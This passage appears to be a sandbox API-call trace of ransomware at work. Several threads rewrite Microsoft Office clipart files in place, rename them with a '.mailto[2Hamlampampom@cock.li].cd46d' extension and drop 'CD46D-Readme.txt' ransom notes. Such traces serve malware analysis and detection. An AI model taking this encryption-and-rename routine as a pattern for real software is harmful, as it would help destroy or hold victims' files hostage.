RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x2bab1fc7 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0xdd217e0 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x7aef241c [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x6d7511d0 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x44ddd9fa [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x26b2dbec [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x6581af3d [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x5ce1ad6b [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x67a44587 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x30956b6d [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x79dc2e5e [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x4197cf8e [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x6d01da10 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x665f0f6d [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x36c0ec27 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x364448a1 [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x1b33b824 [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x422b45a [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x662f2121 [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x73ebaae0 [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x7dd59d23 [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x6c506d9 [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x44943c46 [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x54c05e75 [0061.075] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x26154824 [0061.089] ReadFile (in: hFile=0x1228, lpBuffer=0x19b87238, nNumberOfBytesToRead=0x1485, lpNumberOfBytesRead=0x10c7f7fc, lpOverlapped=0x0 | out: lpBuffer=0x19b87238*, lpNumberOfBytesRead=0x10c7f7fc*=0x1485, lpOverlapped=0x0) returned 1 [0061.089] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.090] WriteFile (in: hFile=0x1228, lpBuffer=0x19b93a40*, nNumberOfBytesToWrite=0x1485, lpNumberOfBytesWritten=0x10c7f7f8, lpOverlapped=0x0 | out: lpBuffer=0x19b93a40*, lpNumberOfBytesWritten=0x10c7f7f8*=0x1485, lpOverlapped=0x0) returned 1 [0061.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97310 [0061.406] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97338 [0061.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97338) returned 1 [0061.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b93a40) returned 1 [0061.406] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b87238) returned 1 [0061.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a150) returned 1 [0061.511] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b10) returned 1 [0061.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0450 [0061.512] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.512] WriteFile (in: hFile=0x1228, lpBuffer=0x12d7d9d0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x10c7f860, lpOverlapped=0x0 | out: lpBuffer=0x12d7d9d0*, lpNumberOfBytesWritten=0x10c7f860*=0x109, lpOverlapped=0x0) returned 1 [0061.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d9d0) returned 1 [0061.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0480) returned 1 [0061.516] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f30) returned 1 [0061.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0450) returned 1 [0061.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97310) returned 1 [0061.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f58) returned 1 [0061.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8ff8) returned 1 [0061.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9020) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0061.517] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" [0061.517] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.517] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10c7f818, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.517] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44d428 [0061.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d428) returned 1 [0061.518] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.518] NtQueryInformationFile (in: FileHandle=0x1228, IoStatusBlock=0x10c7f824, FileInformation=0x10c7f7fc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10c7f824, FileInformation=0x10c7f7fc) returned 0x0 [0061.518] NtSetInformationFile (FileHandle=0x1228, IoStatusBlock=0x10c7f824, FileInformation=0x10c7f7fc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.519] FlushFileBuffers (hFile=0x1228) returned 1 [0062.197] CloseHandle (hObject=0x1228) returned 1 [0062.651] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdb58 [0062.651] wcscpy (in: _Dest=0x97cdb58, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.651] wcscat (in: _Dest=0x97cdb58, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0xffffffff [0062.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0063.031] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x10c7f820, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x10c7f820*=0x6fd, lpOverlapped=0x0) returned 1 [0063.032] CloseHandle (hObject=0x650) returned 1 [0063.032] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cdb58) returned 1 [0063.032] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f9108) returned 1 Thread: id = 1055 os_tid = 0x55c [0056.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0061.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF", dwFileAttributes=0x20) returned 1 [0061.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x122c [0061.090] GetFileSizeEx (in: hFile=0x122c, lpFileSize=0x1062fafc | out: lpFileSize=0x1062fafc*=2596) returned 1 [0061.090] SetFilePointerEx (in: hFile=0x122c, liDistanceToMove=0xa20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.090] ReadFile (in: hFile=0x122c, lpBuffer=0x1062fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1062fa7c, lpOverlapped=0x0 | out: lpBuffer=0x1062fa80*, lpNumberOfBytesRead=0x1062fa7c*=0x4, lpOverlapped=0x0) returned 1 [0061.092] SetFilePointerEx (in: hFile=0x122c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8fd0 [0061.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9048 [0061.092] NtQuerySystemTime (in: CurrentTime=0x1062fa5c | out: CurrentTime=0x1062fa5c*=132174898250664000) returned 0x0 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x6dff0da5 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x251117e7 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x21cc1301 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x68c894b4 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x26c959c4 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x7a291a5f [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0xf1e8097 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x2e6bf049 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x1453756d [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x56ac9667 [0061.092] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x35e5b839 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x46a0ff8d [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x476f7e85 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x6fdaf523 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x4bdf1ecb [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x59839dc8 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x3f10fe53 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x4e293376 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x111e4563 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x76d46236 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0xff959db [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0xd0a29f3 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x12ffb06 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x4ebaa5ed [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x24abdfb1 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0xd84ef36 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x31d1caff [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x5181e5a7 [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x33b613ea [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x7647dfb [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x30dccd6c [0061.093] RtlRandomEx (in: Seed=0x1062fa68 | out: Seed=0x1062fa68) returned 0x55deaa94 [0061.106] ReadFile (in: hFile=0x122c, lpBuffer=0x19ba0248, nNumberOfBytesToRead=0xa24, lpNumberOfBytesRead=0x1062fa58, lpOverlapped=0x0 | out: lpBuffer=0x19ba0248*, lpNumberOfBytesRead=0x1062fa58*=0xa24, lpOverlapped=0x0) returned 1 [0061.106] SetFilePointerEx (in: hFile=0x122c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.106] WriteFile (in: hFile=0x122c, lpBuffer=0x19baca50*, nNumberOfBytesToWrite=0xa24, lpNumberOfBytesWritten=0x1062fa54, lpOverlapped=0x0 | out: lpBuffer=0x19baca50*, lpNumberOfBytesWritten=0x1062fa54*=0xa24, lpOverlapped=0x0) returned 1 [0061.454] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97338 [0061.454] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97360 [0061.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97360) returned 1 [0061.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19baca50) returned 1 [0061.512] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19ba0248) returned 1 [0061.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a060) returned 1 [0061.515] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4025b8) returned 1 [0061.515] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0390 [0061.515] SetFilePointerEx (in: hFile=0x122c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.515] WriteFile (in: hFile=0x122c, lpBuffer=0x12d7d7a0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1062fabc, lpOverlapped=0x0 | out: lpBuffer=0x12d7d7a0*, lpNumberOfBytesWritten=0x1062fabc*=0x109, lpOverlapped=0x0) returned 1 [0061.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d7a0) returned 1 [0061.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e03c0) returned 1 [0061.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f08) returned 1 [0061.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0390) returned 1 [0061.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97338) returned 1 [0061.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8fd0) returned 1 [0061.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9070) returned 1 [0061.522] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9098) returned 1 [0061.522] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0061.522] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" [0061.522] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.522] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1062fa74, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.522] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44d428 [0061.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d428) returned 1 [0061.523] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.523] NtQueryInformationFile (in: FileHandle=0x122c, IoStatusBlock=0x1062fa80, FileInformation=0x1062fa58, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1062fa80, FileInformation=0x1062fa58) returned 0x0 [0061.523] NtSetInformationFile (FileHandle=0x122c, IoStatusBlock=0x1062fa80, FileInformation=0x1062fa58, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.524] FlushFileBuffers (hFile=0x122c) returned 1 [0062.197] CloseHandle (hObject=0x122c) returned 1 [0062.652] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdbf0 [0062.652] wcscpy (in: _Dest=0x97cdbf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.652] wcscat (in: _Dest=0x97cdbf0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0062.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cdbf0) returned 1 [0062.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f9190) returned 1 Thread: id = 1056 os_tid = 0xbd8 [0056.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0061.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF", dwFileAttributes=0x20) returned 1 [0061.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1230 [0061.107] GetFileSizeEx (in: hFile=0x1230, lpFileSize=0x10daff44 | out: lpFileSize=0x10daff44*=10607) returned 1 [0061.107] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x296b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.107] ReadFile (in: hFile=0x1230, lpBuffer=0x10dafec8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10dafec4, lpOverlapped=0x0 | out: lpBuffer=0x10dafec8*, lpNumberOfBytesRead=0x10dafec4*=0x4, lpOverlapped=0x0) returned 1 [0061.109] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9048 [0061.109] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec90c0 [0061.109] NtQuerySystemTime (in: CurrentTime=0x10dafea4 | out: CurrentTime=0x10dafea4*=132174898250976000) returned 0x0 [0061.109] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x382c7be5 [0061.109] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0xef3c7d [0061.109] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x2c920072 [0061.109] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x4fe86c52 [0061.109] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x782ec8d8 [0061.109] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x4d7c2c50 [0061.109] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x18283917 [0061.109] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x2131f197 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x1524fb97 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x9da133e [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x82a9051 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x4d50ea0b [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x32ef51ec [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x74f70e3b [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x335c76c [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x5768f360 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x14289cad [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x1ef97368 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x4a93b5fe [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x4167d9a9 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x48c44125 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x11281a00 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x6882aa43 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x76e0550e [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x13d2eb2d [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x6bea454c [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x55f2464e [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x466cc60f [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x5275e26f [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x539ccee8 [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x4ce04feb [0061.110] RtlRandomEx (in: Seed=0x10dafeb0 | out: Seed=0x10dafeb0) returned 0x1778b01c [0061.123] ReadFile (in: hFile=0x1230, lpBuffer=0x19bb9258, nNumberOfBytesToRead=0x296f, lpNumberOfBytesRead=0x10dafea0, lpOverlapped=0x0 | out: lpBuffer=0x19bb9258*, lpNumberOfBytesRead=0x10dafea0*=0x296f, lpOverlapped=0x0) returned 1 [0061.124] SetFilePointerEx (in: hFile=0x1230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.124] WriteFile (in: hFile=0x1230, lpBuffer=0x19bc5a60*, nNumberOfBytesToWrite=0x296f, lpNumberOfBytesWritten=0x10dafe9c, lpOverlapped=0x0 | out: lpBuffer=0x19bc5a60*, lpNumberOfBytesWritten=0x10dafe9c*=0x296f, lpOverlapped=0x0) returned 1 [0061.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97360 [0061.455] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97388 [0061.455] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97388) returned 1 [0061.455] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19bc5a60) returned 1 [0061.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19bb9258) returned 1 [0061.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418c80) returned 1 [0061.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4028d0) returned 1 [0061.520] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0450 [0061.520] SetFilePointerEx (in: hFile=0x1230, 